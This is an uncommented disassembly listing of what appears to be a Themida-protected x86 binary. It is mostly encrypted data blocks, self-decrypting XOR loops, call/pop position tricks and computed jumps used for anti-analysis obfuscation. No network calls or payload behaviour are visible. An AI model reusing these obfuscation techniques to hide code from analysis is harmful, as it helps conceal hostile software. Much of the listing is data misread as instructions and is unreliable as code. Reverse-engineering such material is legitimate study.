dd 7A33F25Dh, 866BFE11h, 2605DCF0h, 0F879381Dh, 3FD78F1Fh dd 73E275F0h, 5072DB5Ch, 0D773DD84h, 859EE444h, 9EA949F1h dd 39D6B851h, 6A24DD04h, 0E3A770A5h, 0B924F72Ch, 947B1526h dd 301554D5h, 0E75DCDE1h, 0DBC76F54h, 5CB3DB06h, 0F901180Fh dd 4DF1638Eh, 7A4FE2EDh, 50018E71h, 6FA37753h, 0A5DA45BDh dd 0A0A867D2h, 5003D702h, 6A23E2EDh, 775CEF20h, 56313950h dd 2547DFD7h, 735C835Ch, 9740840h, 0E6296576h, 41FA09B1h dd 0E430C34Ch, 40252EFDh, 34E96A81h, 77D5C260h, 0FF107EDFh dd 464F7CAh, 49F1909Eh, 64232B42h, 174DF161h, 2DE2AB0Ch dd 4A9225F8h, 8C95F23Fh, 2EDEE6A5h, 2150086Fh, 0EC9E5716h dd 0E2AB9023h, 7D1663ACh, 181E4011h, 0B16003D8h, 68708746h dd 47EA661Fh, 655A2D35h, 1E2947EAh, 3E87B86h, 987000EBh dd 88596D1Fh, 4920315Dh, 733EAD52h, 0CB4C0B76h, 0EEF3EC03h dd 3633C69Fh, 0E91EF19Dh, 6BA06F20h, 0DF0AD7C3h, 7A1360AFh dd 0FFC6FB14h, 15h, 0F5FD1469h, 47DF5F92h, 0FD8A92F1h dd 7E47DF5Fh, 14750873h, 0F01F7226h, 739CF2BBh, 0F41B753Eh dd 7A95F6BFh, 0FE117C45h, 828D00C9h, 40B844Dh, 8B8406CFh dd 10FF8D56h, 9A68D4DBh, 89000021h, 6C682404h, 8900007Bh dd 66682434h, 89000072h, 8682414h, 8B061911h, 0C4832434h dd 148B5404h, 4C48324h, 89585650h, 8B580842h ; --------------------------------------------------------------------------- adc al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_583BD9 ; --------------------------------------------------------------------------- mov bh, 0AFh dec byte ptr [ebp-42h] db 64h push ss pop esi adc al, 71h cmp [edi-48h], eax loc_5EE002: ; CODE XREF: Themida_:loc_5ECB33j mov eax, 61924BCh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 42h dd 0F77BA681h, 1747D248h, 887E97A9h, 748F596h, 0F80006D6h dd 83684516h, 101B87A2h, 0C56D49F2h, 6E13B9ACh, 0F358D006h dd 1A217C30h, 0D958E328h, 0E8342C9Eh, 11h, 3E5A1909h, 27A76B04h dd 5E1D0372h, 28A48F51h, 0F18B6647h, 0FBE6658h, 52C081A6h dd 6600006Bh, 0FF33CF8Bh, 67CC381h, 148B2726h, 7DC28138h dd 6616A543h, 8130FDBEh, 275FCFEAh, 0F681660Ch, 0EA81423Fh dd 5B854F09h, 17C98152h, 8F0663CDh, 0F6813804h, 5D8CA187h dd 3810Fh, 0F9570000h, 7CEF815Bh, 0E840BD4Eh, 10h, 0E3F14CCh dd 1F4D19E2h, 116E939Dh, 0F0106856h, 0E269BE66h, 78C7815Bh dd 0B740BD4Eh, 70FF8106h, 0FFFFF95h, 1485h, 46BBE00h, 27E92901h dd 0B3000000h, 94F932D2h, 0A780A2C4h, 5E922h, 56EE0000h dd 0E9BF92DFh, 0FFFFFF72h, 0BC149BDEh, 0AF3D4616h, 815A0A04h dd 85C6849Eh, 61215C1h, 30DF6856h, 0B5FFA9C5h, 6123101h dd 827A858Dh, 0D0FF0615h, 293D8D8Dh, 6A510612h, 2DB5FF40h dd 0FF061217h, 122DC1B5h, 0FFD0FF06h, 12172DB5h, 0C1B5FF06h dd 0E806122Dh, 14h, 925D145Ah, 0BD3C6A25h, 0D126D72Fh dd 75D90191h, 0EEAD8B2Eh, 0E8835858h, 242CC104h, 2424C102h dd 24040302h, 68241CF7h, 0 ; --------------------------------------------------------------------------- pop edx loc_5EE179: ; CODE XREF: Themida_:loc_5EE1B5j push dword ptr [edx+eax] pop esi xor esi, 0A802775h xor esi, 55131860h sub esi, 720FDD84h mov [eax+edx], esi sub edx, 3 dec edx cmp edx, [esp] jnz loc_5EE1B5 jmp loc_5EE1C7 ; --------------------------------------------------------------------------- dd 2F5534F5h, 0A40981BFh, 4E856B32h, 865F4867h db 83h ; --------------------------------------------------------------------------- loc_5EE1B5: ; CODE XREF: Themida_:005EE199j jmp loc_5EE179 ; --------------------------------------------------------------------------- lahf fbld tbyte ptr [ebp+3Eh] std inc edx movsb jge short loc_5EE231 fld tbyte ptr [esi+ebp*8+2Ah] loc_5EE1C7: ; CODE XREF: Themida_:005EE19Fj lea ebx, [ebp+6120849h] mov eax, [ebx] or eax, eax jz loc_5EE1DE mov eax, [ebx] mov ebx, [ebx+4] mov [eax], ebx loc_5EE1DE: ; CODE XREF: Themida_:005EE1D1j mov ecx, ecx jmp loc_5EE344 ; =============== S U B R O U T I N E ======================================= sub_5EE1E5 proc near ; CODE XREF: sub_406890+12Bp ; sub_409BC0+1Cp ... push edx mov edx, esp pusha call $+5 pop ebp sub ebp, 6192714h mov eax, [edx+8] cmp eax, 78263845h jnz loc_5EE33B mov eax, [edx+0Ch] mov ecx, [edx+18h] ror eax, cl mov ebx, 4FC26D10h xor eax, ebx sub eax, 4 mov [ebp+6122DCDh], eax mov ebx, [eax+4] mov edi, eax mov eax, [edx+10h] mov ecx, [edx+18h] ror eax, cl mov esi, 0A754712Ah xor eax, esi sub eax, edi loc_5EE231: ; CODE XREF: Themida_:005EE1C1j and eax, 0FFFFFFFCh sub eax, 4 mov [ebp+61231BDh], eax mov eax, [edx+14h] mov [ebp+6120011h], eax mov eax, [edx+18h] push ebx jmp loc_5EE2FF ; --------------------------------------------------------------------------- push dword ptr [ebp+6120841h] jmp loc_5EE313 ; --------------------------------------------------------------------------- push dword ptr [ebp+61225B1h] jmp loc_5EE313 ; --------------------------------------------------------------------------- push dword ptr [ebp+61214C1h] jmp loc_5EE313 ; --------------------------------------------------------------------------- push dword ptr [ebp+61229E5h] jmp loc_5EE313 ; --------------------------------------------------------------------------- push dword ptr [ebp+6120C89h] jmp loc_5EE313 ; --------------------------------------------------------------------------- push dword ptr [ebp+6122B19h] jmp loc_5EE313 ; --------------------------------------------------------------------------- push dword ptr [ebp+61229B1h] jmp loc_5EE313 ; --------------------------------------------------------------------------- push dword ptr [ebp+61231C5h] jmp loc_5EE313 ; --------------------------------------------------------------------------- push dword ptr [ebp+6122431h] jmp loc_5EE313 ; --------------------------------------------------------------------------- push dword ptr [ebp+6122D79h] jmp loc_5EE313 ; --------------------------------------------------------------------------- push dword ptr [ebp+61219B1h] jmp loc_5EE313 ; --------------------------------------------------------------------------- push dword ptr [ebp+61229A5h] jmp loc_5EE313 ; --------------------------------------------------------------------------- push dword ptr [ebp+61232E5h] jmp loc_5EE313 ; --------------------------------------------------------------------------- push dword ptr [ebp+61231F1h] jmp loc_5EE313 ; --------------------------------------------------------------------------- push dword ptr [ebp+6120835h] jmp loc_5EE313 ; --------------------------------------------------------------------------- push dword ptr [ebp+61213A1h] jmp loc_5EE313 ; --------------------------------------------------------------------------- loc_5EE2FF: ; CODE XREF: sub_5EE1E5+65j mov ebx, eax mov eax, 0Bh mul bx lea ecx, [ebp+6192775h] add ecx, eax jmp ecx ; --------------------------------------------------------------------------- loc_5EE313: ; CODE XREF: sub_5EE1E5+70j ; sub_5EE1E5+7Bj ... call dword ptr [ebp+6122781h] pop ebx loc_5EE31A: ; CODE XREF: sub_5EE1E5+14Ej mov eax, [ebp+6122DCDh] cmp [eax+4], ebx jnz loc_5EE338 push ebx push 1 call dword ptr [ebp+61229D1h] pop ebx jmp loc_5EE31A ; --------------------------------------------------------------------------- loc_5EE338: ; CODE XREF: sub_5EE1E5+13Ej popa pop edx retn ; --------------------------------------------------------------------------- loc_5EE33B: ; CODE XREF: sub_5EE1E5+18j popa pop edx mov eax, 7E41A8ADh jmp eax sub_5EE1E5 endp ; --------------------------------------------------------------------------- loc_5EE344: ; CODE XREF: Themida_:005EE1E0j mov eax, [ebp+6121321h] lea ecx, [ebp+6192863h] mov [ecx+1], eax mov eax, ebx lea ecx, [ebp+619296Ah] push 0 push ecx call sub_5EE366 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EE366 proc near ; CODE XREF: Themida_:005EE35Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5EE366 endp ; --------------------------------------------------------------------------- mov al, 54h stosb mov [ebp+6121F89h], eax push esi or [ebp+6121DCDh], edx pop edx jge loc_5EE390 sbb ah, 0D9h loc_5EE390: ; CODE XREF: Themida_:005EE387j mov [ebp+6122DCDh], ecx push 0 push edi call sub_5EE3A1 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EE3A1 proc near ; CODE XREF: Themida_:005EE399p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5EE3A1 endp ; --------------------------------------------------------------------------- db 93h, 91h, 73h dd 0A193DE71h, 6E94EC9h, 0DD000000h, 0DE8E253Eh, 9BD0112h dd 0C7061222h, 1231BD85h, 6AC806h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 5A7F51EEh dd 0E3E1F264h, 85C7CEEDh, 6120011h, 0 ; --------------------------------------------------------------------------- mov edx, 15E1135Bh push dword ptr [ebp+6120835h] mov [ebp+61203D1h], ebx call dword ptr [ebp+6122781h] push 0 push edx call sub_5EE426 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EE426 proc near ; CODE XREF: Themida_:005EE41Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5EE426 endp ; --------------------------------------------------------------------------- cmpsd pop esp sbb al, 9Bh or byte ptr [ebx-0FF953Dh], 95h shr dword ptr [ecx], 1 loc_5EE443: ; CODE XREF: Themida_:005EE4A2j adc al, [esi] mov eax, eax jmp short loc_5EE496 ; --------------------------------------------------------------------------- db 0D6h, 74h, 17h dd 0BFFA271Fh, 2383B9A2h, 1B78B48h, 77EA9987h, 25E4D9DEh dd 844AEECCh, 0E53AFBF1h, 8681B21Ch, 0BB6707CDh, 0ACF5F4FBh dd 0D5DB7DEBh, 0D427E95Dh, 9A2FCA9Dh, 21E1800Ch, 40D2C97Dh dd 4DB460Ch, 0C648F8B6h, 0A8F5D83Eh db 0A0h, 58h ; --------------------------------------------------------------------------- loc_5EE496: ; CODE XREF: Themida_:005EE447j call sub_5EE4A4 cmp ch, al aaa out 98h, eax cmp al, 4Bh jecxz short loc_5EE443 ; =============== S U B R O U T I N E ======================================= sub_5EE4A4 proc near ; CODE XREF: Themida_:loc_5EE496p mov [ebp+6120B7Dh], edi pop edx and cx, 5191h add edx, 614Ah mov [ebp+6122DADh], eax xor eax, eax mov [ebp+612149Dh], ebx loc_5EE4C4: ; CODE XREF: sub_5EE4A4+7Dj push dword ptr [eax+edx] pop edi mov [ebp+6121FC5h], eax xor edi, 31C55F92h sub cx, 95CEh add edi, 5F5EA10Eh mov [ebp+6122FC9h], edi xor edi, 557EBC1Fh mov esi, [ebp+6122371h] mov [edx+eax], edi or [ebp+6122C61h], edi jnp loc_5EE508 jo loc_5EE508 push esi pop ebx loc_5EE508: ; CODE XREF: sub_5EE4A4+56j ; sub_5EE4A4+5Cj sub eax, 5C4D2EE7h cmc add eax, 5C4D2EE3h mov ecx, [ebp+6122A89h] cmp eax, 0FFFF9F44h jnz loc_5EE4C4 mov [ebp+6122EFDh], ebx jmp loc_5EE545 ; --------------------------------------------------------------------------- dw 38A7h db 2Eh, 2Dh, 4 dup(0) align 4 dd 2 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5EE545: ; CODE XREF: sub_5EE4A4+89j jmp loc_5EEA7D ; --------------------------------------------------------------------------- push 6192BB7h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6192C25h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6192D90h jmp loc_583BD9 ; --------------------------------------------------------------------------- dd 1562ADE4h, 0B2FF107Ch, 519E7119h, 0EB38D7B8h, 87D43B52h dd 0BDD01E97h, 1F6C0552h, 860AA3F0h, 0EBA33C89h, 0AEFDD724h dd 0F889E1A6h, 0EFC5A24Dh, 92F5FD14h, 0F147DF5Fh, 4B4253E6h dd 0C8C68FC4h, 949DFA47h, 0BDA7A3EFh, 0DFADD2B5h, 7DA6B147h dd 2C34102Ch, 47E0155Bh, 47B21D28h, 33CA8088h, 8D0E49F2h dd 0D4182B5h, 4446A791h, 0E5F038CBh, 0BCD089B0h, 2B60C053h dd 0C84DF197h, 0B3E80889h, 0B968FB0Eh, 8007DA26h, 24AEF100h dd 73DEAF68h, 8DBEAF38h, 87BC2797h, 451F21B4h, 71000003h dd 0C243AE9Bh, 137AE744h, 298AD3FCh, 0B9C2972Ah, 2358B7D6h dd 2F93F4FCh, 0E5F047E0h, 48500F7Ah, 49F24606h, 1B7459DAh dd 0E02C1682h, 0B4DD28D7h, 0EC7F4335h, 4A3D45A4h, 394DF248h dd 9272C32Eh, 48B5AF84h, 39F8DDE6h, 0B18945B8h, 6AFD30B7h dd 4EABF3FBh, 8F9A4569h, 0DDC4CD5Ah, 50AD161Eh, 0CBD64757h dd 4E3CF50Ch, 174CC3CBh, 0D1A4D944h, 0B8612D3Eh, 2F0237D8h dd 0B0DE77C4h, 846BE05Fh, 0C26716CEh, 351FBh, 39D6BB00h dd 0D63953ECh, 759AF089h, 0F008F28h, 0AB6429C2h, 0A7476E5Eh dd 43DC29E6h, 0E17AC748h, 7A1360AFh, 0D4AEFB14h, 8B0A7D85h dd 9C794DF8h, 0C0A5AEC6h, 81F6F901h, 1A2549F6h, 24EBA25Bh dd 0C04F3ED7h, 454D648Bh, 4DF88A42h, 43A33641h, 4DF88949h dd 4361B73h, 3AD5BA18h, 0AA093205h, 209F0AF1h, 145FE721h dd 0E3C58C31h, 4D000002h, 0E57ECB44h, 821B68A7h, 21BA0708h dd 0BB54A16Eh, 0F03DD2h, 0BB5439B5h, 59B6D56Eh, 0F21D730Ch dd 8D820CA5h, 0F176640h, 4DF88B78h, 0AE582E0Bh, 0EA01C0A5h dd 0D3B4BCD3h, 0B047DF5Fh, 5F92F5A5h, 92F147DFh, 0DF5FFD8Ah dd 8737E47h, 81DA1575h, 0BEC949F6h, 8A1A7189h, 0BDD94DF8h dd 22EA6B24h, 0B3ADD42Bh, 178ADF49h, 5EC9EAEBh, 4B808FFDh dd 1878E578h, 0CD24A573h, 1D0h, 0F31C721Fh, 7699F5BEh dd 8FB13229h, 0B15E2F89h, 75443F88h, 1D040DE2h, 7738565Eh dd 444F49F2h, 2494F70Fh, 65264DF2h, 0E1AC75AAh, 52BD5238h dd 99EEF61Dh, 0EA4DF224h, 13CE82DFh, 2257B8D8h, 0A0BCE44Fh dd 274A4A41h, 329F24AEh, 0F1000000h, 1C0A5AEh, 0F17ECDF9h dd 58373849h, 812C5B63h, 444F4DF1h, 66D1A4D9h, 80721931h dd 65814DF1h, 315A137Ch, 0E6DE4BDEh, 3324AEDFh, 0D6h, 335B1485h dd 563849DCh, 0D2BB84B9h, 4F3F083Dh, 0CCC28BC0h, 6D538985h dd 62CDAFE7h, 0B0442D15h, 0E4AA47DFh, 0D0E7DE2Bh, 0DFB1BFC8h dd 759AF347h, 0CAD56D40h, 6C596237h, 7996F4ADh, 0AA6F77E6h dd 9949F254h, 0B01BF498h, 0BA5538F1h, 0C54A42FBh, 46C9C790h dd 0B24B48DBh, 0AFD8E0DBh, 0CC4DF457h, 60D756C1h, 0D2EBAD87h dd 178662Dh, 0AFE20000h, 127A1360h, 7317B0FDh, 0D9B64F9Ch dd 3D50E936h, 209585D2h, 350BFCEh, 0A1EE216Ah, 3A878808h dd 0D522EDA1h, 0E3A4ACFBh, 0A04DF88Ch, 0FD14EDC3h, 0DF5F92F5h dd 53E6F147h, 5C44B42h, 5FA1E6EEh, 0D7E247DFh, 97504744h dd 76871AF5h, 7F38F718h, 7471040Bh, 9E5667Dh, 0F0F4ED4Bh dd 0F67710C0h, 0F90447DFh, 1C723866h, 137B34F3h, 52353DFCh dd 3147DF5Fh, 87AE9326h, 600D9606h, 8C4B2869h, 0E02F0384h dd 0E2758047h, 552BDD1h, 0F3B29FA8h, 0F27D15EBh, 5E1D2849h dd 0FB6BC647h, 0AED73853h, 13A6FA0Eh, 37848B02h, 0B5068740h dd 0F1FFDAADh, 339EA94Dh, 38982BFEh, 4DF1FF53h, 9BE82767h dd 0C5848B02h, 0CBCF820Ch, 2F7C2B03h, 0C598CD38h, 3589FE06h dd 0EFFA4DF2h, 97B0775Ch, 1A000000h, 646CA5AEh, 47DF6023h dd 2BEA5560h, 0F681D023h, 0F9B8C349h, 89ADDAE2h, 0C3CE4DF8h dd 6B244B30h, 81C7F01Fh, 29FA7593h, 781627BAh, 0AF8547D9h dd 49B4DA00h, 0E42B63FCh, 0F52D97AFh, 0A6BA32ADh, 3ED1523Bh dd 0AA04B8BFh, 86E12EF2h, 940D205Dh, 0B39EF001h, 476D6C89h dd 43026DCDh, 0AEB6058Ah, 750DD2D9h, 0A1349FAAh, 8C830BA4h dd 18018E57h, 29E6A475h, 4BB621F4h, 5F826E16h, 46050A84h dd 0D260272Fh, 1823750Dh, 9FEF8885h, 3743B70h, 0DE000000h dd 1F723422h, 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah dd 8D00C9FEh, 0B844D82h, 8406CF04h, 0FF8D568Bh, 68D4DB10h dd 0F3Ch, 68241489h, 6111h, 68241489h, 4684h, 57243C89h dd 192A8EBFh, 8BFA8906h, 0C481243Ch, 4, 243C8B54h, 6804C483h dd 11A8h, 81241489h, 4ECE2404h, 478F60F0h, 86F8108h, 60F04ECEh dd 5F2434FFh, 8B04C483h, 89512414h, 4C181E1h, 83000000h dd 0C8704C1h, 6AE95C24h, 3CFFF951h, 30BF98C0h, 0C053D65Dh dd 8CAFF509h ; --------------------------------------------------------------------------- push ecx loc_5EEA7D: ; CODE XREF: sub_5EE4A4:loc_5EE545j mov eax, 6192F2Dh add eax, ebp jmp eax sub_5EE4A4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 3Fh dd 7AEC474Ch, 0A1DC6A31h, 0D09D231Eh, 0B2427651h, 3B8465A1h dd 6C2932E4h, 8296447Dh, 645F442Bh, 0F20434A1h, 0FF3A4778h dd 8F28309Ah, 0BC0D2690h, 7E85675h, 99000000h, 0B3E6D27Fh dd 8166A9B5h, 5A26DBD6h, 0C2816BB4h, 665Ah, 3870Fh, 0DF800000h dd 30E9BFA8h, 0EF812DA7h, 2DA7177Bh, 569EFFBEh, 0F0A8B6Ch dd 386h, 0DABF0F00h, 9CE6F181h, 8B660A29h, 0DAC181F2h dd 0E95BC9F1h, 6, 34D70DD0h, 0F181A84Fh, 6F6523A4h, 0BE660A89h dd 0EA81B6A1h, 6BB3A08Dh, 2E5CBB66h, 0A089C281h, 0BF0F6BB3h dd 1EF81F2h, 0F000000h, 1085h, 0D3816600h, 1EE9ABC1h, 0AC000000h dd 94EC37E7h, 0C78B66E9h, 0FFFF98E9h, 23A7A7FFh, 0F56BC24Ch dd 5A7A41D9h, 0D92EB351h, 458D8DD4h, 6A061931h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0B6C8C352h, 8D898E64h, 6122DCDh, 11958B60h, 8906121Eh dd 1213E195h, 85C76106h, 61231BDh, 5BBCh, 303D858Bh, 85C70612h dd 6120011h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5EEBC3 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EEBC3 proc near ; CODE XREF: Themida_:005EEBBBp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5EEBC3 endp ; --------------------------------------------------------------------------- xchg eax, edi push 1195895Bh push ds adc al, [esi] push dword ptr [ebp+61214C1h] mov eax, 46B13706h mov [ebp+6121765h], esi call dword ptr [ebp+6122781h] push 0 push edi call sub_5EEBFE and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EEBFE proc near ; CODE XREF: Themida_:005EEBF6p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5EEBFE endp ; --------------------------------------------------------------------------- dw 0DFFDh dd 81A735F3h, 6F641D21h, 95FF006Ah, 61229D1h, 4CEBC08Bh dd 6AF9C063h, 0AE5A6998h, 0C773BF51h, 0B0775C70h, 2D798CB7h dd 41340172h, 0D830148Fh, 4335D27h, 82E4B04Eh, 1F9CFF2Ch dd 0A7D8B012h, 0F6B21B0Ah, 0BC3BA195h, 4A6DFECFh, 0ECB116C1h dd 0B513A84Eh, 7713A289h, 0B38D5D11h, 12B2BF0Ah, 0EE8h dd 356D2B00h, 2CA65AF1h, 39B54323h, 66F84B43h, 2226D881h dd 39B5895Fh, 81061232h, 680FC7h, 6880F00h, 8B000000h dd 1233E9B5h, 0DE06B906h, 0F18132A8h, 32A8C7DDh, 6E9h dd 20241800h, 0FFAEB672h, 0EB816637h, 0B85A4063h, 2AD60564h dd 0D49FF281h, 852B0BD8h, 612249Dh, 0DB6DEA81h, 858B779Ch dd 61212C9h, 4121F281h, 0EC806FD2h, 8FF852A8h, 4EF8307h dd 49F08B66h, 0A850Fh, 21E90000h, 0B6000000h, 802F507Ch dd 0CD9D8B60h, 0B3061232h, 0A8E961F2h, 42FFFFFFh, 0D53E0D41h dd 91C95AC2h, 0D5A203E9h, 0CE8h, 5F6BBC00h, 68C36983h dd 5B165B57h, 8158FCC7h, 6F6EC0h, 0D9D8B00h, 0B906122Ah dd 1BB4h, 0C8E0Fh, 8A0F0000h, 6, 150D9589h, 108B0612h dd 1C458531h, 0F2810612h, 6613A14Eh, 68CB8166h, 36EA8149h dd 8B051155h, 12249D9Dh, 83C28106h, 0F5B6E98h, 685h, 5BD78100h dd 893B08A6h, 4DB58B10h, 83061228h, 9E801E8h, 9000000h dd 6C6D0051h, 5359918h, 32EDB58Bh, 485F0612h, 0F494848h dd 0FFFFA585h, 11E9FFh, 31A80000h, 0BE54741Dh, 8B59B12Dh dd 11B58B16h, 0E8F0C7F3h, 0Ch, 0C4F2D964h, 0AF493370h dd 56720090h, 19A0BE66h, 0E58D895Fh, 81061203h, 5E2BC7h dd 0B98D0100h, 68061220h, 0 ; --------------------------------------------------------------------------- stc pop ecx jo loc_5EEDFE sub eax, [ebp+61211F5h] loc_5EEDFE: ; CODE XREF: Themida_:005EEDF2j ; Themida_:005EEE6Aj push dword ptr [ecx+edi] mov [ebp+6122D7Dh], ecx pop ebx mov [ebp+6120395h], esi sub ebx, 34D3AEFBh mov [ebp+6120C51h], edx xor ebx, 7E4F551Fh mov eax, [ebp+61226A9h] xor ebx, 39978DBBh add ah, 0C9h push ebx xor [ebp+6121769h], edi pop dword ptr [edi+ecx] jbe loc_5EEE47 push esi mov [ebp+612183Dh], eax pop edx loc_5EEE47: ; CODE XREF: Themida_:005EEE39j or [ebp+6121B39h], ecx sub ecx, 53483F65h or si, 6791h add ecx, 53483F61h mov [ebp+61211E1h], ebx cmp ecx, 0FFFFA28Ch jnz loc_5EEDFE jmp loc_5EEE83 ; --------------------------------------------------------------------------- db 9Dh, 1Dh, 0C8h dd 0A38DCD04h, 69F57B20h db 0BDh, 0FAh, 9Dh ; --------------------------------------------------------------------------- loc_5EEE83: ; CODE XREF: Themida_:005EEE70j jmp loc_5EEEAC ; --------------------------------------------------------------------------- dd 8FB4994h, 8 dup(0) ; --------------------------------------------------------------------------- loc_5EEEAC: ; CODE XREF: Themida_:loc_5EEE83j jmp loc_5EF3BD ; --------------------------------------------------------------------------- db 9Bh, 0F6h, 19h db 0CCh db 33h, 59h, 0B6h dd 55BAD069h, 0EF206F08h, 8B8409A2h, 87674E3Eh, 23BC0906h dd 0C15AA768h, 5AF340CFh, 0B48EDB34h, 932A5D65h, 7C594DF8h dd 0F31C72A6h, 0B998F5BEh, 92D1A725h, 33AE6411h, 0EB448h dd 0B26B2A95h, 2BFE33DCh, 1523646Ch, 556047E0h, 622CC5C2h dd 0DFAF78ADh, 14B3D4DCh, 0C5D047E0h, 45FE255Ah, 2233C649h dd 0DA70A56Ah, 29FA22A3h, 0B3E001FCh, 0E20DD420h, 7D1663ACh dd 16AFFC13h, 9760957Ah, 3EE61BF4h, 0DFF68F52h, 0DFE5B0D7h dd 35C8D347h, 56A36C24h, 2988DE5Fh, 0D4F5E06Eh, 0B15E3041h dd 0EE9C557Ch, 602E8E21h, 3C47DFFBh, 0F77811D0h, 845F9797h dd 309D308Ah, 22BCCF50h, 6885h, 1C72D700h, 0E7A6BEF3h dd 0D347DF5Fh, 551E53BCh, 1578D936h, 62E6C5FAh, 6BD75A7Fh dd 0FEB70F76h, 16422BCh, 0B6000000h, 0C0F51A72h, 457A95F7h dd 3DFC137Ch, 71040B84h, 0FFE2F68Ch, 1A67A8E4h, 0B394A223h dd 36017E62h, 55FC92A3h, 19210A3Fh, 47E00F6Eh, 0DAD9020Dh dd 226FDA4Eh, 0C7E7AA2Bh, 0E708D70Fh, 6BFE69A6h, 335B143Dh dd 60078088h, 697447DFh, 63F6C9FEh, 9FD43B52h, 2459B6D6h dd 0A9DE315Bh, 0A6A3AEE0h, 8DAA504Eh, 0C26A9F0Ah, 5FD60BD6h dd 0B2DB06DBh, 1777105Dh, 1A858A02h, 0A16E1CE5h, 27E8A36Ch dd 0C4C3CBF2h, 0B747DF93h, 0CF404BACh, 0DB06F29Ah, 1FC2DE06h dd 0BCC81868h, 21294022h, 47DF9D66h, 75770A15h, 0B0h, 0F41B72C7h dd 0FB147C35h, 0D0BA8368h, 4B410A3Fh, 0CAC68FC4h, 974B1045h dd 3067954Ah, 69FC1377h, 4ACBC41Dh, 0C6C04936h, 7A95F853h dd 226B7C0Fh, 477C93F7h, 937C1374h, 4B42DB28h, 0E6EE05C4h dd 47E059A1h, 5F44D7E2h, 5716F996h, 594F3840h, 212C47E0h dd 0AC3FD0C0h, 7E91FEC7h, 40B8049h, 878806CFh, 3D517F52h dd 0FB173FA4h, 6579FE6h, 55E422BCh, 36000000h, 0BFF41B72h dd 40759AF6h, 0C2F71877h, 68693F9h, 0A0699E09h, 0F6E222EDh dd 1D61F6EBh, 0AB6429C4h, 0B35C33ECh, 5A3ED7Eh, 137B353h dd 0F060396h, 78D93656h, 3C6AFD12h, 0DD325B14h, 0BC53394Ah dd 601F6F87h, 0F7B47DFh, 0FEDBBBD2h, 11022BCh, 62000000h dd 0C2F71872h, 457A95F9h, 0B530B19Dh, 90ED3AD5h, 0D3DB9A87h dd 49F1832Bh, 11DA0F1Ah, 0AC45927Dh, 0E0F82DE2h, 4DF18CADh dd 6AF576DDh, 28548C99h, 7E91FF60h, 0A7429FEBh, 526928E7h dd 0F22F3D4Ah, 0A0333E4Dh, 8B840AA3h, 50018D56h, 1132A7C4h dd 338A337h, 0A641A024h, 0E3DA27E8h, 0B5C14162h, 0ED80E634h dd 0AE720080h, 10DD524h, 0AE270000h, 4AC5CAA5h, 0A1820DFh dd 0F549F177h, 0C142BEAh, 4DF1787Bh, 29C14E3Fh, 0DDA68B1Eh dd 8AB4A0B1h, 648D820Ah, 2E99441Bh, 0C94648E1h, 4CC3CB94h dd 2DB43817h, 0F643CCC2h, 0AE148101h, 4A5624h, 0AEA80000h dd 0E900BFA4h, 7CB15E30h, 5F8EF9A9h, 0E2ED47DFh, 6EE688B9h dd 8619439Bh, 49580F17h, 606BC7E0h, 7474132Bh, 6B42C7DEh dd 0DBE3D8B2h, 0C7DE74ACh, 0C659C4CFh, 0AEB8677Ah, 6DFA02C1h dd 8E47DE74h, 809F3683h, 9000000h, 1C0A5AEh, 0F18155F9h dd 70A5B049h, 10FF9049h, 647508DBh, 0FF98E52Ah, 244B808Fh dd 192F5A3h, 7B0E68A6h, 0F16D711Bh, 0BE23674Dh, 0E5A46B23h dd 6EC1C6CEh, 0B7C24DF1h, 77302724h, 0F1C4F916h, 0BFE737C8h dd 90238D91h, 4C3B2BBh, 0B9CED6EDh, 0CA4DF193h, 0E02F5EBFh dd 0BF74ED4Dh, 7A435008h, 16767248h, 80C7D0F9h, 844D82EDh dd 28D0050Ah, 7D86A53Ch, 90D1D998h, 5F4A01B2h, 0AE510754h dd 0F901C0A5h, 49F68B68h, 4E174C57h, 0E982CF40h, 1D356AA5h dd 373B02EEh, 0F1F9C2CCh, 50DAA296h, 3A6FDAE5h, 0BEF31C71h dd 0A2F88F97h, 808B50DAh, 588D5440h, 20CB162Ah, 2AE5AB6Eh dd 0B5D972BFh, 335C255Ah, 0AEDEA7DCh, 28632C61h, 1E0AB2E7h dd 0CFDE1EC3h, 511AA54Eh, 0E578183Ch, 0F19D4899h, 5638D11Eh dd 0F879FAB9h, 45CAC6DCh, 0BB143D10h, 8166F954h, 669DD95Ah dd 56A95E59h, 0DB4C3h, 221E0000h, 0B3D4DCF3h, 0D047DF5Fh dd 720432C5h, 0F2BBF01Fh, 753E739Ch, 0F6BFF41Bh, 7C457A95h dd 0C9FE11h, 844D828Dh, 6CF040Bh, 8D568B84h, 0D4DB10FFh dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 53242C89h, 0C381E389h dd 4, 8704EB83h, 895C241Ch, 8950240Ch, 405E0h, 0E8830000h dd 24048704h, 243C895Ch, 33D7BA52h, 59520619h, 3C8B545Ah dd 4C48324h, 2B4168h, 24348900h, 7789CE89h, 34FF5E08h dd 0C4835F24h, 240C8B04h, 81E78957h, 4C7h, 